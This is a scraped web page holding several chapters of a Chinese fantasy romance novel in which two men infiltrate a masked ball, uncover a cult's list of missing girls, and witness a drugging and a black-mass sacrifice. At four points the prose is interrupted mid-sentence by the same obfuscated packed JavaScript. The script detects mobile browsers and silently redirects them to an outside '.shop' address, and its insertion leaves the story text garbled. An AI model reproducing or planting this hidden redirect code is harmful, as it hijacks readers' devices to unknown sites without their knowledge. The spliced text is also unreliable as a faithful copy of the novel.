;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344846|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比他想象中还要深得多。 或许他们对于眼前这位“大主教”也并不是百分百的信服。 真是难办啊...... 嗯？ 对了，还有那个！ “说到这个，你当时为什么会在马戏团...我是说，这确实很难理解。” 兰瑟尔到底为什么会被马戏团的人抓住，这简直成了困扰约书亚的一个亘古难题。 他实在无法抑制自己的好奇心，约书亚猜测，他此时的表情大概像一只被发现了屯粮的蠢松鼠。 兰瑟尔觑了他一眼，他又露出了那种整以暇的表情，“好奇心总要付出一些代价。” 约书亚不说话，他差不多摸清了兰瑟尔的性格，这家伙不过只是想要一些“好处”，只可惜，约书亚的个性里并没有什么知情识趣的部分，这不过是抛媚眼给瞎子看罢了。 “你...被抓住了？”约书亚只能说出自己最荒谬的猜想。 “我当时在冬眠。”兰瑟尔被他一本正经的语气逗笑了，“我不需要一直睡着，但在那段时间，我确实会懒得动弹。”、 “所以你不逃走，仅仅只是因为懒得动？”一瞬间，约书亚的无语盖过了震惊。 “这很有趣，不是吗？”兰瑟尔并没有正面回答这个问题，他浅色的眼睛紧紧盯住约书亚，“我可以闻到人类的味道，马戏团里形形色色的人太多了，这让我感到新奇。” “...味道？”约书亚讷讷重复道。 “只是一个抽象化的说法，就像有的人闻起来像阴沟，有的人像臭虫，有的人在想香水和蕾丝裙，有的人在密谋杀害自己的父亲...” “你又在骗我吧...”约书亚有些狐疑地打断他，但他又有些好奇，“那我的味道呢，你能闻到我的味道吗？”说完，他自己也觉得想笑，作势抬起手来轻嗅了下自己的胳膊。 然而下一瞬，他就霎地僵住了。 兰瑟尔忽然靠了过来，他们之前的距离缩得那样近，约书亚甚至能感觉到脸颊边兰瑟尔的呼吸。 “闻到了。”兰瑟尔的声音在耳边响起，像为了作证自己说的话的真实性，他甚至轻轻翕动了鼻尖，很露骨地对着约书亚嗅了一下。 “什...什么？”约书亚像是被蛇吓蒙了的兔子，天知道他做了多少心理准备才没在第一时间跳起来。 “你有一颗充满好奇的心，我能感觉到”，伴随这话，兰瑟尔把脸往下移，他挺直的鼻梁再差一寸就要触到约书亚胸口的衣服了，“在马戏团，你一看到我，心跳就会变得特别快。” 仿佛是为了验证这句话，约书亚感到自己的心跳越来越快，以至于他甚至能清晰地听到心脏一收一张间搏动的声音。 “我还知道，你很有同情心，就比如，你现在想要帮助那些失踪的女孩，对吗？” 约书亚瞪大了眼，要不是他对于科学深信不疑，此刻他真的会怀疑兰瑟尔是否真的具有读心术之类的技能。 虽然兰瑟尔的存在本身就是对科学常理的最大挑战就是了。 “你能帮她们吗？”约书亚没有犹豫多久，他并不是喜欢拖泥带水的人，既然兰瑟尔主动提到了这件事，他也没必要再忸怩。 “如果你想的话。”兰瑟尔的眼里闪过一丝狡黠，他等待着约书亚的下一句话。 这么久以来，约书亚还是没能长记性，或许上帝真的是公平的，与约书亚常年得A的智商相反，他始终在人际交往上保留着一丝可以称得上是愚蠢的天真。 此刻的他就像一只笨笨傻傻的呆兔子，直往兰瑟尔的陷阱里冲。 “你打算怎么做？” 兰瑟尔眼里的笑意加深了。 16. 渡鸦与天堂鸟 直到马车行驶到洛克的豪宅门口时，约书亚都没能从“自己为什么会在这”的震惊中缓过神来。 他一个劲儿地神游天外，恍惚间甚至被脚下的台阶拌了一下，直到身边的人挽上了自己的手臂，约书亚才堪堪回过神来。 “或许我应该提醒您，我们这次是带着目的来的？”耳边传来了兰瑟尔刻意压低的声音。 ——出于参与宴会的规定，每一位绅士都必须带着一位小姐一起前往，他们两人中必须有一个人得扮作女装。 鉴于约书亚对于这些东西实在抵触得很，兰瑟尔便勉为其难的表示，他可以暂时充当约书亚的女伴——只要这位绅士愿意对他行吻手礼的话。 约书亚并不知道自己被占了多大的便宜，在他浅薄的，零星的与同辈贵族小姐的交际中，吻手礼只不过是一种点到为止的触碰。直到后面，他被逼着亲吻了脸颊以及脖颈的时候，这才明白“吻手礼”或许也暗含着一层隐秘的暗示——尽管兰瑟尔把其美名其曰为“相关的配套礼节”。 约书亚的“女伴”穿一件十分大胆前卫的晚宴礼裙，与时下禁欲主义盛行不符，更像是风俗女会喜欢的款式。 大而夸张的裙摆遮住了兰瑟尔相较于淑女们过于宽大的骨架，前胸的大片硬质蕾丝掩住了瘦削的锁骨，他甚至佩戴了颈圈，以此挡住凸起的喉结。 细软而蓬松的浅金色假发和夸张的帽檐很好地修饰了兰瑟尔身上属于男性气概的特征——高耸的颧骨、下陷的眼窝和突出的眉峰。 他甚至抹了口红，是那种熟透的浆果色，略翘的唇角仿佛引诱着在说——来吻我啊来吻我啊。 乍一看，这位作风奔放，充满异域风情的小姐除了过于高大，也没什么特别违和的地方——如果你不盯着她的眼睛看的话。 那绝不是寻常淑女会有的眼神，即便总是躲藏在扇子和面具之后，也能窥见那抹罕见的翡翠绿，此时她正紧盯着约书亚不放。 约书亚看了一眼就偏过了头，根本不敢再仔细看，事实上，在这之前他一直是一个人严守戒律的虔诚信徒，从不曾跨雷池一步。 或许这种禁欲的作风是遗传自约书亚的父母，他们一共生育了三个孩子，却连对方的肚脐也没见过。 约书亚无端地感到口干舌燥，这种错乱的的装束加剧了他的罪恶感，却也在不知不觉间增添了一分刺激。 至少现在，约书亚能够接受挽着这样一位小姐赴宴了。 即使这位女伴比他自己还要高出半个头来。 兰瑟尔简直算得上是如鱼得水，他丝毫也不觉得羞耻似的，除了不怎么说话，他的表现堪称完美，这种坦然衬得他傍边的约书亚更为局促和狼狈。 约书亚原本担心自己会露馅，但站在门口迎客的洛克显然没工夫应酬他们——他好像对一些落魄贵族家的小姐更有兴趣。 这年头，稍微体面点的人家都会给女儿筹备至少2000磅的嫁妆，而那些到了年纪却捉襟见肘的小姐们，除了大龄离异的老头，就只能挑一些名声不好，但家底丰厚的花花公子了。 相比之下，洛克简直是一个超过及格线太多的优质选择，尽管这位绅士也曾被传出和一些不好的留言有关，但这次宴会的还是被挤得水泄不通。 约书亚用了化名，他谎称自己是兰瑟尔老爷的远方亲戚——兰卡斯特男爵，这位贵族老爷通过最近新兴的纺织厂生意小有积蓄。 他并不擅长说谎，好在洛克正忙着跟一旁的一位小姐聊天，只随便应付了几句话就往大厅走去。显然，一个“暴发户”并不值得什么热情的欢迎仪式。 这场宴会并不如兰瑟尔之前举办的规模盛大，更像是同好之间的聚会，又或者是那种秘密举办的小型拍卖现场。 为了维持神秘感，亦或是隐藏身份，每个人都带着面具，这次宴会的主题是动物，为了表示尊重，约书亚和兰瑟尔也都佩戴了相应的面具。 ——是渡鸦和天堂鸟。 天堂鸟，一种原产自非洲的，羽毛像烈焰和彩虹一样绚丽的珍贵品种。 相比之下，灰扑扑的渡鸦就显得有些不够看了。 宴会的大厅中充斥着笑声和玻璃杯碰撞的声音。兰瑟尔手持一杯香槟，轻轻摇晃着杯中的气泡，在半透的面纱后露出一丝淡笑。 不得不说，“这位小姐”和她的面具般配极了，没过多久，约书亚身边就聚集了一小撮人，他们甚至不顾约书亚还在场，自顾自兴冲冲地对着这位“作风奔放”又极具魅力的小姐搭讪。 “是的，先生，请原谅我的鲁莽，我只是...第一次参加这样的舞会，有些不知道怎么办才好了。”飞快摆动的扇子让她显得更加手足无措，这种楚楚可怜的姿态只会让男人的保护欲更加高涨。 这样一位“尤物”，即便是她的嗓音有些异于常人的低沉，也不是什么值得上心的大问题。 兰瑟尔出奇地耐心，他从容地与一些好事的绅士们闲聊，半开玩笑地与几个明显醉意上头的年轻贵族打趣，眼中不时扫向大厅一角。 顺着他的目光，约书亚看到了一名身形消瘦、目光飘忽的男子——正是洛克。 此时的他正倚靠在二楼的雕花栏杆上，冷漠地注视着下方的舞池。他的嘴角挂着一抹似有若无的笑意，那种自负而阴沉的神态让约书亚本能地感到厌恶。 “兰卡斯特男爵，我可以邀请您的美丽女伴共舞一曲吗？”一个年长的绅士突然凑近，语气中带着几分醉意。兰瑟尔挑了挑眉，故作羞涩地掩嘴轻笑：“先生，您真会说笑。不过我的舞技实在不敢见人，怕是会踩疼您的脚呢。”他的语调轻柔中带着几分挑逗，惹得那绅士愈发兴奋。 随着交响乐响起，人影穿梭，金色的吊灯投射下斑驳的光影，织成了一张精美的蛛网。兰瑟尔挽着约书亚的手臂，手心微微施力，示意他向左走。约书亚感觉到自己耳边的呼吸逐渐加重，那是兰瑟尔刻意压低的嗓音—— “跟紧我。” 约书亚紧张地舔了舔干涩的嘴唇，“那我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344847|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应该……” “不用急。”兰瑟尔微微侧头，垂下的金发几乎碰到约书亚的肩膀。他的声音透着轻佻，“在这之前，不如请我跳一支舞？” “现在？”约书亚的声音提高了一点，他感到自己的脸颊瞬间烧了起来，兰瑟尔却只是狡黠地笑了笑。 “当然，你总不想让我一个人去面对那些垂涎三尺的家伙吧？”兰瑟尔的眼神微微变得深邃，透着一丝危险的意味，“约书亚，你就不怕我出什么意外？” “你明明是……”约书亚哑口无言地看着那张精致却明显带着调侃的脸。他沉默了一会儿，最终还是深吸了一口气，略显僵硬地伸出手，“好吧，那我们就跳一支舞。” 这是一个寻常的不能再寻常的挽手礼，老实说，他曾经对同龄的贵族小姐做过一百遍，但约书亚从没像现在这样紧张。 兰瑟尔眼中的光亮了几分，抬起裙摆的手指优雅地搭在约书亚掌心，他们一同走向舞池。华丽的乐曲在耳边响起，周围的人们在他们经过时侧目而视，这对高大而别扭的舞伴是这个晚会中最引人注目的存在。 “这只是暂时的。”约书亚低声解释道，试图掩饰自己的不自然，“舞完我们就继续调查。” “当然，我很清楚。”兰瑟尔回以一个笑容，“不过我想提醒你，你需要配合我的脚步，否则我们可能会摔倒，或者更糟。” “我——” 管弦乐器的加入使交响乐曲突如其来地加快了节奏，兰瑟尔猛地转身，拉着约书亚顺势旋转起来。约书亚几乎是被迫地跟上他的节拍，勉强维持着体面与平衡，却在兰瑟尔那双闪烁着狡黠的绿眼睛中，看到了某种蓄势待发的恶作剧。 “你在搞什么……”约书亚刚想质问，却在旋转间，看见兰瑟尔的目光悄悄瞥向二楼的某处——那是洛克的方向。 “别太紧张，这可是我们的表演。”兰瑟尔的声音仿佛带着魔力，轻轻地撩拨着约书亚的神经，“今晚洛克很忙，不一定会注意到我们。不过，跳得太差可就不好了。” 约书亚一时哑然，他意识到兰瑟尔并不是单纯地在逗弄他——这个狡猾的家伙在试图用他们的舞蹈来分散众人的注意力，同时为他寻找更好的观察时机。 他闭了闭眼，强迫自己将羞赧抛在脑后，专注于脚下的步伐。虽然不习惯被人牵引，约书亚却不得不承认，兰瑟尔的步调让他有种奇异的安全感，仿佛只要跟着他的脚步，就不会迷失在这个充满陷阱的舞会中。 “你脸红了。”兰瑟尔忽然贴近他的耳畔，轻声道。 “......！”约书亚几乎是条件反射地推开了一点，却被兰瑟尔一个急转弯拉回到怀里。 “嘘，小声点。”兰瑟尔的手指轻碰了一下他的嘴角，他的每一句话都能轻而易举地玩弄着约书亚的情绪，“看来我们这出戏，演得还算不错。” 一曲终了，他们在角落处停下，约书亚压低声音问：“你到底想干什么？” “洛克不见了。” 17. 红酒 宴会已接近尾声，大厅中仍能听见零星的笑声与杯盏碰撞的脆响，回荡在高高的拱形天花板上，显得有些空旷。 长桌上的烛台已经烧去了大半，蜡泪顺着银制烛台流下，凝结成一条条透明的蜡痕，桌面上散落着酒杯和空盘，蓝莓派只剩下几块零星的碎屑。 淑女们倚在一旁的墙壁上，掩着嘴打着哈欠，浅色手套上沾染了些许葡萄酒的红色，眼神游离。舞池中央的乐队演奏得愈发疲倦，琴弦被拉扯出低沉的音调，节奏舒缓。 他们循着洛克最后出现的地方，悄悄地向二楼移动。 期间有一个侍从试图阻拦他们，兰瑟尔便谎称自己的衣裙被酒打湿了，想要上楼去处理一下。 “我喝的实在有些多，这位绅士出于好心扶我上楼，我想二楼应该有些私密的房间？” “她”纤长的睫毛随着她充满诱惑的话语上下闪动，约书亚发誓在某一瞬间他听到了那个侍从抽气的声音，这让他们就这样“跌跌撞撞”的蒙混了过去。 约书亚注意到，这次宴会的尺度十分微妙，至少就在刚才短暂的几支舞曲的间歇中，他就已经看到几位寡妇在角落里和年轻侍从偷偷接吻。 他们大概率不是第一对以这种理由上楼偷欢的“情侣”。 二楼的走廊繁复而昏暗，约书亚一边努力寻找可疑的痕迹，一边对这样的装修品位咂舌。 这简直就像一个迷宫。 “你觉得会在哪里？”兰瑟尔仿佛背后长了眼睛，他微微侧了侧头，像是在辨认每一间房间的方位。 他的舞伴正走在他前方，约书亚一低头，就看到他们两相牵的指节，就好像他们真的是一对初食禁果的爱侣，在宴会上眉目传情。 难得见他这么认真的模样，约书亚有些新奇，忍不住对这位“小姐”开起了不合时宜的玩笑。 “嘿，小猫，你不是说你能闻到人类的气味吗。”他几乎忍不住自己的笑意。 走在前面的人忽然停了下来，约书亚一时躲闪不及，结结实实地撞了上去。 “抱，抱歉...”约书亚摸了摸鼻子。 老天，我完全昏了头，一定是之前那两杯香槟害的。他在心里腹诽。 刚想说点什么调节一下气氛，前面的人却在此时转了过来。 兰瑟尔的表情十分耐人寻味，他的眉尾略微挑起，握紧约书亚的手稍一用力，那微微眯起的双眼里透出浓烈的...意味。 约书亚的目光不自觉地被那双红唇吸引，此时它正微微翘着，心情不错的样子，约书亚有种强烈的预感，这张嘴一定又要吐出什么“惊世骇俗”的话来了。 “我想我需要向你重申，对于除了你以外的人类，我都没有兴趣...” 见约书亚的脸因为羞窘而可怜地涨红了，他又施施然补充到“或许我该更仔细地分辨下，你身上有没有其他女孩的气味，我亲爱的。” “没有！没有！”约书亚急于结束这段对话，他语速飞快，几乎是在求饶了。 圣主在上，快点结束这次对话吧！ “不过，我确实发现了一些东西。”不顾他的无措，兰瑟尔牵引着他，轻轻一推，将他引导到一扇半掩着的房门前。 “老鼠的巢穴。”他低声在约书亚耳边说到。 兰瑟尔刻意压低的音色仿佛一缕冷风拂过耳际。约书亚愣了愣，跟着他推开了门。 房间内陈设精致，一张宽大的书桌占据了最显眼的位置。桌上散落着几张纸，泛黄的羊皮卷和一支还未干涸的羽毛笔。他们对视一眼，随即不约而同地开始翻找那些文件。 烛光摇曳之下，约书亚的目光落在一张略微泛黄的纸张上，上面写满了晦涩难懂的拉丁文。他虽然无法完全读懂，却能从文字间隐隐捕捉到几个关键词——“黑弥撒”、“仪式”、“献祭”。 “好像是这里，”约书亚压低声音，把那张纸递给了对方。兰瑟尔接过，看了几眼，眼神渐渐变得凝重。他微微扬起嘴角，但笑意未及眼底。 “看来我们找到些有趣的东西了。”他轻声自语，声音带着一丝不易察觉的兴奋。 他们巡视完房间，又摸索到了一个书柜，兰瑟尔把发箍扭成一股金属细绳，轻而易举地就从外面打开了柜子。柜门打开的一瞬间，约书亚忍不住倒吸了一口凉气——里面摆放着一份详细记录失踪女孩的名单，以及几张带有逆七芒星符号的羊皮卷，似乎是某种古老的召唤仪式的记录。 他们竟然真的敢...... 混蛋，渣滓！ 手里的羊皮卷越捏越紧，先前的一丝犹豫在此时已经荡然无存。 约书亚自认为不是一个烂好人，但是教廷的种种行为已经远远跨越了他的底线。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344848|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他的声音因为愤怒带上一丝颤抖：“这些女孩可能已经被带去进行了什么邪教仪式。” “圣堂那些老鼠们恶心的把戏。”兰瑟尔的声音难得那么冷漠，“他们想通过献祭，获得邪神的力量”，他把名单放回原处，轻嗤一声，“一群蠢货，还以为自己真能得到永生吗。” 约书亚还想说什么，却被兰瑟尔突如其来的动作打断了。 “嘘。”兰瑟尔竖起手指，他略微侧头，仿佛是在确认什么，“有脚步声冲着这里来了。” 约书亚立马噤声，甚至下意识屏住了呼吸。 门外的脚步声越来越近，仿佛有人正急匆匆地朝他们而来。约书亚的脸色瞬间苍白，他几乎是本能地往后退了一步，撞到了书房墙壁上的一幅油画。画框微微晃动，发出轻微的响声。兰瑟尔立刻伸出一只手稳住画框，另一只手指示约书亚保持安静。 对方的脚步声停在了门前，而后响起了轻轻的敲门声。 兰瑟尔迅速换上了一副柔和的笑容，整理好自己的裙摆，随即用一种略带困惑的语气说道：“是谁在外面？我在里面更衣，有什么事吗？” 门外的人似乎愣了一下，随后传来一个低沉的男声：“抱歉，小姐，我听到里面有声音，以为有客人误入了书房……请问您需要帮助吗？” 他们两下意识地对视了一眼——洛克竟然找到了这里。 兰瑟尔悄悄朝约书亚使了个眼色。约书亚咬了咬牙，立刻理解了他的意图，迅速躲到了书架的阴影中。 兰瑟尔故作轻松地答道：“没事的，只是刚才舞会人多，我需要一处安静的地方整理一下。多谢关心，不过我已经好了。” 约书亚悄悄松了口气。 “啪——” 下一秒，和预想中不一样，房门外的人在停顿了一会后，竟然直接打开了门。 这可不是一位绅士该有的做法。 门口的人走了进来，他的脚步极快，显然十分着急。约书亚的心跳如擂鼓般剧烈，他甚至能听见自己急促的呼吸声与洛克脚步声的重叠。洛克径直停在了书桌前，他的目光扫过那份被随意放置的文件，眼中闪过一丝狐疑。 就在洛克即将伸手去拿那张纸时，兰瑟尔突然出声，他的语调悠然，像是从暗影中浮现的幽灵： “你想找什么呢，洛克先生？” 18. 绑架 空气中飘荡着一股诡异的寂静。 约书亚甚至能听到挂钟“滴答滴答”的声响。 “你认识我？”良久，洛克率先打破了沉默。 他语气中的迟疑显而易见，或许是惊讶于面前这位眼生的小姐不同寻常的举动，洛克的态度十分谨慎。 “请原谅我的冒犯...”相反，兰瑟尔的声音十分雀跃，他音调颇高，好像下一秒就要晕厥过去似的：“抱歉，我只是太激动了，毕竟我还是第一次有机会能跟您独处。” 即便躲在柜子后，约书亚也能想象出兰瑟尔此时的表情，他不由地抿了抿嘴，随即调整站姿，确保自己藏匿在一处视角的盲区后悄悄探头。 昏暗的灯光下，洛克带着若有若无的笑意走上前来，他的手中举起一杯红酒，鲜红的酒液在杯中摇曳。他的目光紧锁在兰瑟尔身上，笑容虽然显得友好，眼底却闪过一丝暗芒。 “我想我们之前从没见过，否则我不会对这样一位美丽的小姐毫无印象。”半晌，他开口恭维到。 “喔，是的，我竟然忘记了自我介绍，真是失礼。”兰瑟尔撇了撇嘴，状似懊恼地说到，“叫我黛西就好，洛克阁下，兰卡斯特男爵是我的表兄。” “很荣幸认识你，黛西小姐。” 从他回答的速度来看，约书亚怀疑洛克根本就不知道这位“兰卡斯特男爵”究竟是何许人也，但这并不妨碍他和一位刚认识几分钟的小姐调情。 “或许一杯红酒能让你放松一些？” 洛克的声音听上去充满了兴致，在一开始短暂的惊讶过后，他很快恢复了游刃有余的状态，这位勋爵显然对自己的魅力颇有自信。 “我很乐意，先生。”兰瑟尔眨了眨眼，这是一个十分明显的信号。 一阵淅沥的水声传来，随之而来的是一阵馥郁的红酒香味。 约书亚站在不远处的阴影中，观察着他们的互动。他看见兰瑟尔纤细的手指接过酒杯，在烛光下显得格外苍白，而洛克的手指故意停留片刻，轻轻摩擦过兰瑟尔修长的指节。一阵厌恶涌上约书亚的心头，指甲深深地掐入掌心。 兰瑟尔微微仰头，优雅地将酒杯举至唇边，红酒侵染了嘴唇。片刻后，他状似无意地踉跄了一下，身形微晃，仿佛酒意上头，身体无力地向前倾去。 下一秒，洛克伸出手，“正好”将他揽住，他面上带着一丝隐晦的笑意： “小心，别摔坏了。” 随着酒杯落地的声音，玻璃碎片四散开来，兰瑟尔好像不小心踩到了裙摆，惊呼了一声，而后慌张地道歉：“抱歉，先生，我不是故意的，我这就帮您清理。”他弯下腰，长裙的衣料摩擦着地面发出细碎的声响，柔软的发丝滑落下来，遮住了他半边脸颊。 洛克并没有被冒犯到的意思，反而像是欣赏这场表演似的，语气愈加暧昧而下流：“你可真是一只毛躁的小猫。” 他伸手托住兰瑟尔的下巴，迫使“她”抬起头来。 烛火的微光中，兰瑟尔绿色的双眸像猫眼石一样闪烁，他眨了眨眼，似乎是对洛克过分的亲昵感到羞赧。脸颊也因酒意染上了一层薄红，看上去更是惹人怜惜。 约书亚在不知不觉间握紧了拳，虽然知道这只是兰瑟尔的伪装，他依然感到了一种出离的愤怒。 他死死盯着洛克，那猥琐的笑容与他的得意姿态令约书亚几乎无法控制自己的情绪——如果可以，他真想用手术刀在这人身上扎几个大窟窿。 “抱歉...我头好晕......”兰瑟尔的声音断断续续地传来。 下一秒，“她”忽然毫无预兆地软倒在洛克的怀中，仿佛已经完全被酒精和药物所麻痹。 洛克丝毫不觉得惊讶，嘴角挂着意味深长的笑容：“我的小姐，看样子您似乎有些累了。不如，我们换个地方休息休息？” 他一边说着，一边将兰瑟尔扶起，用力按住他的腰，带着几分强硬。兰瑟尔现场的睫毛缓缓垂下，昏沉不语，任由对方牵引。 “你知道吗，我们刚好需要一个纯洁而美丽的祭品，尤其是像你这样迷人的...”洛克的声音中带着恶意的轻笑，他抚摸着兰瑟尔的嘴唇，鲜红的口脂在洁白的面颊上擦出一道红痕。 “虽然不知道你是怎么进来这里的，不过，你可真是解了我的燃眉之急。”洛克着迷地注视着怀中人的无力神态，像是在看待一件即将献祭的珍贵宝物。 约书亚悚然一惊，他迅速反应过来，红酒里一定被加了什么致幻药物，或许在这之前，洛克已经用同样的手段欺骗了不止一位天真的小姐。 他迅速在脑中思考对策，就在这时，一个声音伴随着敲门声响起。 “洛克大人。” 约书亚急忙矮下身去，下意识屏住呼吸。 “进来。” “仪式马上要开始了，您...”是一个陌生的声音，话音未落，看到洛克怀里躺着一个人，又瞬间噤声。 “告诉大人，今天的祭品我会亲自送去。”洛克的声音听上去十分满意，他把玩着兰瑟尔金色的发丝，语气悠然。 “恕我冒昧，不过，这位小姐...好像还有一位男伴。”随从的语气中闪过一丝迟疑。 约书亚的动作僵在原地。 空气中弥漫开一种令人毛骨悚然的死寂。 怎么办怎么办！ 约书亚握紧了手里的钢笔，那是他刚刚从洛克的书架上顺来的，冷汗从额角留下，汇聚在下颚。 书架...办公桌...还有两张皮质座椅——这就是挡在他和洛克之间的所有东西。 这间屋子并不大，只要洛克有心，不出十秒，他就能找到藏在书架后的约书亚。 兰瑟尔忽然发出了一声轻轻的呓语，像是半梦半醒间无意识的呢喃。洛克的注意力被吸引过去，他低下头，发现兰瑟尔“昏迷”中的眼角竟有泪光闪烁，纤长的睫毛轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344849|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻颤动，仿佛陷入了某种痛苦的梦境中。 “不……求你，不要……”兰瑟尔的声音带着些许沙哑，像是从喉咙深处挤出的哽咽。 洛克的眉头一挑，瞬间将注意力从房间的其他角落转回到兰瑟尔身上。他似乎对这个突如其来的反应很感兴趣，嘴角勾起一抹意味深长的笑容。 “原来如此，原来你还有这样的秘密。” 约书亚心中骤然松了一口气。同时他也意识到，那杯红酒一定没有起效。 洛克的口吻充满恶意，“你仔细去找一下那位绅士”，他唤来侍从，“两个人来，我们可不能只让一个人回去。” 语毕，洛克的视线扫了一眼门外，低声道：“来人，把这里收拾好。” 房门再度被推开，几个侍从走进来，迅速开始处理房间里的杂乱。洛克则扶起“醉醺醺”的兰瑟尔，像是带着一个心爱玩具般，半搂着他朝一侧墙壁走去。 约书亚在暗处紧盯着他们动向，他注意到洛克的手在墙上某处轻轻一推，那片墙壁忽然无声地向内旋转，露出一条隐秘的通道。 这个房间果然有古怪！ 洛克一只手搀着兰瑟尔，另一只手旋紧墙上的按钮，怀里的人过分高大的身躯让他有些吃力，他有些趔趄地走入密道，背影很快消失在昏暗的隧道中。 约书亚心中一紧，还来不及思考，身体就先行一步跟了上去。 他微微侧身，利用书架投下的阴影掩饰自己，又用余光扫过侍从们忙于收拾的身影，趁着他们不注意，迅速贴着墙壁，悄无声息地跟上洛克的脚步，躲进了那即将关闭的密道。 密道内部幽暗而狭窄，只有头顶的几盏昏黄油灯散发出微弱的光。前方洛克的低语声与脚步声混合在回荡的石壁中，成为他唯一的导航。 约书亚谨慎地保持着距离，屏住呼吸，竭力让自己融入这片阴冷的暗影中。他听到洛克在前方低声说着什么，而兰瑟尔则依然“无意识”地哼了一声，这让约书亚得以探知他们的具体方位。 约书亚强迫自己稳住情绪，他的手指紧紧握着那根从书架上顺来的钢笔，那是他唯一的防身武器，冰冷的金属触感让他感到些许镇定。 随着他们渐渐深入密道，约书亚的目光掠过石壁上的斑驳浮雕，那些扭曲的线条让约书亚联想到某种古老而邪异的仪式，他的心中泛起不安。 在转过一个急弯后，前方的光线变得明亮起来，约书亚小心地往后一藏，观察着前方的动向。 ...... 墙壁，或者说是废墟更为贴切，溢出斑驳而腐烂的痕迹。 空气中弥漫着烛焰的腥臭，唯一的微弱光线是围绕在四周的高高的烛台，蜡烛的火焰摇曳不定。 七芒星法阵的中央是一个看不清的祭坛，肮脏的布幔悬挂着，污垢和灰尘交织在一起。 约书亚瞪大了眼——连通整座城堡和黑弥撒祭坛的密道，竟然就在这里！ 19. 邪神的宝物 “你来了，我们刚好要开始下一轮的仪式。” 一个枯哑的声音在前方响起。 约书亚藏在一处拐角，他试图辨认说话的人，但这很难——他们都披着纯黑的兜帽，活像一群乌鸦。 “抱歉，我来晚了，”洛克的声音中透着谦卑，“不过您也知道，现在的好货是越来越不好找了。” “哼......” 随着两人的交谈，约书亚也得以看清，在这个巨大的地下室里，究竟在进行什么样的仪式。 一个奇怪的穹顶，仿照中世纪哥特教堂的风格，由破碎的彩色玻璃和尖锐的十字架构成。 最引人瞩目的还是位于最中心的祭坛，约书亚很难形容它的样子，干涸的血迹让它看上去更像一个小型的处刑架——中世纪的人们在这烧死那些宣称自己会预言的女巫。 祭坛中心拴着着一个被锁链束缚的女人，脖子上拴着黑色的项圈，她的裙子撕裂不堪，几乎算得上是衣不蔽体，裸露的肌肤在烛光的映照下泛着苍白的光泽。 一时间，约书亚竟然无法分辨她是否还有生命体征。 她的周围汇聚着几位身穿黑袍的教士，面容隐藏在面具下，低声吟诵着古老的咒语，音调如同咯吱作响的木板。 约书亚瞪大了眼，眼前的一幕完全超脱出了他的想象。 黑袍子们手背朝下，鲜血滴落在祭坛上，形成一个诡异的图案。图案中央，凝聚着一块闪烁着幽暗光芒的石头，仿佛在渴望着更多的鲜血与灵魂。 教士们围绕着她，手中的火把燃起了更为强烈的火焰。低语声愈发激烈，仿佛在回应着某种无法触及的存在。 祭坛上的女子猛地开始挣扎，她的双眼变得迷离，像是被某种邪恶的力量操控。 “献上你的灵魂，让黑暗降临。”教士们齐声高喊，声音在空旷的教堂中回响，像是一首邪恶的合唱。 黑袍子们的笑声与咒语交织成一曲诡异的旋律，随着墙上的阴影扭曲变幻，所有人陷入了一种疯狂的狂欢之中。 随着仪式的进行，祭坛上的女子突然发出一声撕心裂肺的尖叫，似乎感受到了一种无以承受的痛苦。 她的身体被黑暗吞噬，四周的烛光也随之熄灭，教堂瞬间陷入一片无尽的黑暗中，只有教士们的狂笑声依旧在空中回荡。 一瞬间，约书亚汗毛倒竖，他下意识地想要向前，却被一股无形的力量阻挡在外。 “真是没用…又失败了。”为首的教士率先走下祭坛，他身材高大，却瘦的过分，空荡荡的黑袍里像是盖着一具枯骨。 “我带来了新的祭品，大人。” 洛克站在一边，他早已等候多时，连忙接话道。 他的态度透着股令人作呕的谄媚。 略微思索后，约书亚对这位“大人”的身份隐隐有了猜测。 “她是处女吗？” “我想是的，大人，这位小姐的美丽令人惊叹，我想即便是’祂’，也会满意的。” “知道了，让人先把祭坛上的脏东西清理掉，下一个仪式将在半小时后进行。” 黑袍子擦了擦手上残余的血迹，向几个低等教士吩咐道。 “是。”洛克退到一边，颔首到。 